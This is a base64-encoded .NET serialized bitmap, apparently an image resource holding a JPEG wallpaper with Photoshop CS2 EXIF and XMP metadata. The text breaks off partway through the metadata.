AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAJJwBAAL/2P/gABBKRklGAAECAQBIAEgAAP/uAA5BZG9iZQBkAAAAAAH/4RgWRXhpZgAATU0AKgAAAAgACQESAAMAAAABAAEAAAEaAAUAAAABAAAIhgEbAAUAAAABAAAIjgEoAAMAAAABAAIAAAExAAIAAAAcAAAIlgEyAAIAAAAUAAAIsodpAAQAAAABAAAIxpycAAEAAABEAAARCuocAAcAAAgMAAAAegAAEU4c6gAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAQAAAEgAAAABAABBZG9iZSBQaG90b3Nob3AgQ1MyIFdpbmRvd3MAMjAwOToxMDoyNCAwNzozMzoxNQAABKABAAMAAAAB//8AAKACAAQAAAABAAAHgKADAAQAAAABAAAEsOocAAcAAAgMAAAI/AAAAAAc6gAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdwB3AHcALgB3AGEAbABsAHAAYQBwAGUAcgBzAHgAcABsAG8AcgBlAC4AYgBsAG8AZwBzAHAAbwB0AC4AYwBvAG0AAAAABgEDAAMAAAABAAYAAAEaAAUAAAABAAARnAEbAAUAAAABAAARpAEoAAMAAAABAAIAAAIBAAQAAAABAAARrAICAAQAAAABAAAGYgAAAAAAAABIAAAAAQAAAEgAAAAB/9j/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCABkAKADASEAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDzOivFPOCigAo20DHiMmpUiqZSJuSBAKXIFRcQB6duqbEsieoTWkSkMpKsoKWncBKKQBRQAUUAPCbqmSKpk7EkmAKaXC1mtRXGGSm76vlGKHpd9KwNCZ3NUgi3Um7AhskW2oCKuLuUAFO2U7gNIpKYCUUAJtqVE3UNgTBAtOLhayepBEZKYWq7Fjd1JVALuo3UgHIfmrQgw1ZVBMfLHlapvFSgybkapT8VbYyJxUdWihKQCmBKiVMvy1LAY8lRs2aEhDaKoYUoQtQA7YabtpASohrQt0rKZDZbMe5aqSx1ncgqsu2mVojQYaYRWqKIgKlRKbYrkn3ajd6hDGFqatWA8Iad5ZqbiuTR25er8Vgdv3aznMLjJ7YJVUR/NST0FctRwCrMYCVFyScEMtQyp8tBFihL8rVAa0iaIYaStBjU2/7VPMiD+9/3zQ9RXIXuF/2v++aj89f9r/vmrUCw82P/AGv++akjZWP8X/fNOSAuIqbf4v8AvmnjZu/i/wC+a57kXNK0ji6/N/3zV93hRP4v++aytcLmZdmRomnEE5h5/eCJtnH+10qmnPPrWso2QiwCVWkLmswHxz1MXDLQKxRnSqpQ7q0iUhNhppFWMl+ztt+41V5Y3X+FqIy1JRUdH3fdak8t/wC41b3RoPEL/wBxqswRMp+41TJkl0Idv3Wp0cbM/wBxq5RM1raNlT7jVYN55S7JrGOZAm1flVSDnqTg54ohLlYlKxHda5K3h260u2W9g+0XKF4RLm3WBVJKqvGGaQ7mwBkAD1rLt7csqg+lb1qilYty5jQSz+WoJ4NlcxJQJ2mnpLtppANd91IEDUxA4C1UkNXEpGhvG2qU7VEVqCKppQK6LlEyJUq5FZyZI8OauW33qzEzWjO1KrTndU2uiGiAIN1XIEUUNDWhcyqpWbduGoKMpx81RE7apAR7/mqQSbaqwxkktQ/eq4oEWd521C/zVKAZ5dPSOqcgLccVTeUNtYNgREBamgcK1FxNFz7SFWo3uA1MmxGbgLTo7v5qCic3fy/eqlLPupJCKzvUDvWiQxgoJqiyImjdVgXvL4qIisUyQGKeCKpoCUShaa9xuqVEBm8tTvM20co2iJ7g037QarkCwhnzUkclPlCxP5vy1C8lQkIhMlMzWqQ7CrSE0DGZpKsDURwy0yRN1cydmBAUNMw1aJki4NOVKGygJC1E8lNICPNGasAzUiGkwJd9RF6lIBhNLVgLmmGhAJRQBYjlxVgSBqxlHUBxIqM7aSJELhaieSrSKIS+6mbq0SAWigBQKeKTACaZmmgEpRQAZprUIBaKAHAmpAxpMBd7etNLt60rIBpY0wk00AUUwCigBRT6TAYaSmAop1ADaSgAooA//9n/7QtwUGhvdG9zaG9wIDMuMAA4QklNBCUAAAAAABAAAAAAAAAAAAAAAAAAAAAAOEJJTQPtAAAAAAAQAEgAAAABAAIASAAAAAEAAjhCSU0EJgAAAAAADgAAAAAAAAAAAAA/gAAAOEJJTQQNAAAAAAAEAAAAHjhCSU0EGQAAAAAABAAAAB44QklNA/MAAAAAAAkAAAAAAAAAAAEAOEJJTQQKAAAAAAABAAA4QklNJxAAAAAAAAoAAQAAAAAAAAACOEJJTQP1AAAAAABIAC9mZgABAGxmZgAGAAAAAAABAC9mZgABAKGZmgAGAAAAAAABADIAAAABAFoAAAAGAAAAAAABADUAAAABAC0AAAAGAAAAAAABOEJJTQP4AAAAAABwAAD/////////////////////////////A+gAAAAA/////////////////////////////wPoAAAAAP////////////////////////////8D6AAAAAD/////////////////////////////A+gAADhCSU0ECAAAAAAAEAAAAAEAAAJAAAACQAAAAAA4QklNBB4AAAAAAAQAAAAAOEJJTQQaAAAAAANFAAAABgAAAAAAAAAAAAAEsAAAB4AAAAAIAHcANwBfAGcAcgBlAGUAbgAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAHgAAABLAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAQAAAAAAAG51bGwAAAACAAAABmJvdW5kc09iamMAAAABAAAAAAAAUmN0MQAAAAQAAAAAVG9wIGxvbmcAAAAAAAAAAExlZnRsb25nAAAAAAAAAABCdG9tbG9uZwAABLAAAAAAUmdodGxvbmcAAAeAAAAABnNsaWNlc1ZsTHMAAAABT2JqYwAAAAEAAAAAAAVzbGljZQAAABIAAAAHc2xpY2VJRGxvbmcAAAAAAAAAB2dyb3VwSURsb25nAAAAAAAAAAZvcmlnaW5lbnVtAAAADEVTbGljZU9yaWdpbgAAAA1hdXRvR2VuZXJhdGVkAAAAAFR5cGVlbnVtAAAACkVTbGljZVR5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QUNGMUY2MzQxMTA0NjI5RTwvc3RSZWY6aW5zdGFuY2VJRD4NCgkJCQk8c3RSZWY6ZG9jdW1lbnRJRD51dWlkOjdBOUQ0RTZEMkNDMERFMTFBQ0YxRjYzNDExMDQ2MjlFPC9zdFJlZjpkb2N1bWVudElEPg0KCQkJPC94YXBNTTpEZXJpdmVkRnJvbT4NCgkJPC9yZGY6RGVzY3JpcHRpb24+DQoJCTxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhhcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyI+DQoJCQk8eGFwOkNyZWF0ZURhdGU+MjAwOS0xMC0yNFQwNzozMzoxNSswODowMDwveGFwOkNyZWF0ZURhdGU+DQoJCQk8eGFwOk1vZGlmeURhdGU+MjAwOS0xMC0yNFQwNzozMzoxNSswODowMDwveGFwOk1vZGlmeURhdGU+DQoJCQk8eGFwOk1ldGFkYXRhRGF0ZT4yMDA5LTEwLTI0VDA3OjMzOjE1KzA4OjAwPC94YXA6TWV0YWRhdGFEYXRlPg0KCQkJPHhhcDpDcmVhdG9yVG9vbD5BZG9iZSBQaG90b3Nob3AgQ1MyIFdpbmRvd3M8L3hhcDpDcmVhdG9yVG9vbD4NCgkJPC9yZGY6RGVzY3JpcHRpb24+DQoJCTxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyI+DQoJCQk8ZGM6Zm9ybWF0PmltYWdlL2pwZWc8L2RjOmZvcm1hdD4NCgkJPC9yZGY6RGVzY3JpcHRpb24+DQoJCTxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3Nob3AvMS4wLyI+DQoJCQk8cGhvdG9zaG9wOkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPg0KCQkJPHBob3Rvc2hvcDpIaXN0b3J5Lz4NCgkJPC9yZGY6RGVzY3JpcHRpb24+DQoJCTxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIj4NCgkJCTx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+DQoJCQk8dGlmZjpYUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WFJlc29sdXRpb24+DQoJCQk8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+DQoJCQk8dGlmZjpSZXNvbHV0aW9uVW5pdD4yPC90aWZmOlJlc29sdXRpb25Vbml0Pg0KCQkJPHRpZmY6TmF0aXZlRGlnZXN0PjI1NiwyNTcsMjU4LDI1OSwyNjIsMjc0LDI3NywyODQsNTMwLDUzMSwyODIsMjgzLDI5NiwzMDEsMzE4LDMxOSw1MjksNTMyLDMwNiwyNzAsMjcxLDI3MiwzMDUsMzE1LDMzNDMyOzAyNjlDRkZGMUJCMDNDRENFRDU5NEMzQ0U4NzlGNTc4PC90aWZmOk5hdGl2ZURpZ2VzdD4NCgkJPC9yZGY6RGVzY3JpcHRpb24+DQoJCTxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIj4NCgkJCTxleGlmOlBpeGVsWERpbWVuc2lvbj4xOTIwPC9leGlmOlBpeGVsWERpbWVuc2lvbj4NCgkJCTxleGlmOlBpeGVsWURpbWVuc2lvbj4xMjAwPC9leGlmOlBpeGVsWURpbWVuc2lvbj4NCgkJCTxleGlmOkNvbG9yU3BhY2U+LTE8L2V4aWY6Q29sb3JTcGFjZT4NCgkJCTxleGlmOk5hdGl2ZURpZ2VzdD4zNjg2NCw0MDk2MCw0MDk2MSwzNzEyMSwzNzEyMiw0MDk2Miw0MDk2MywzNzUxMCw0MDk2NCwzNjg2NywzNjg2OCwzMzQzNCwzMzQzNywzNDg1MCwzNDg1MiwzNDg1NSwzNDg1NiwzNzM3NywzNzM3OCwzNzM3OSwzNzM4MCwzNzM4MSwzNzM4MiwzNzM4MywzNzM4NCwzNzM4NSwzNzM4NiwzNzM5Niw0MTQ4Myw0MTQ4NCw0M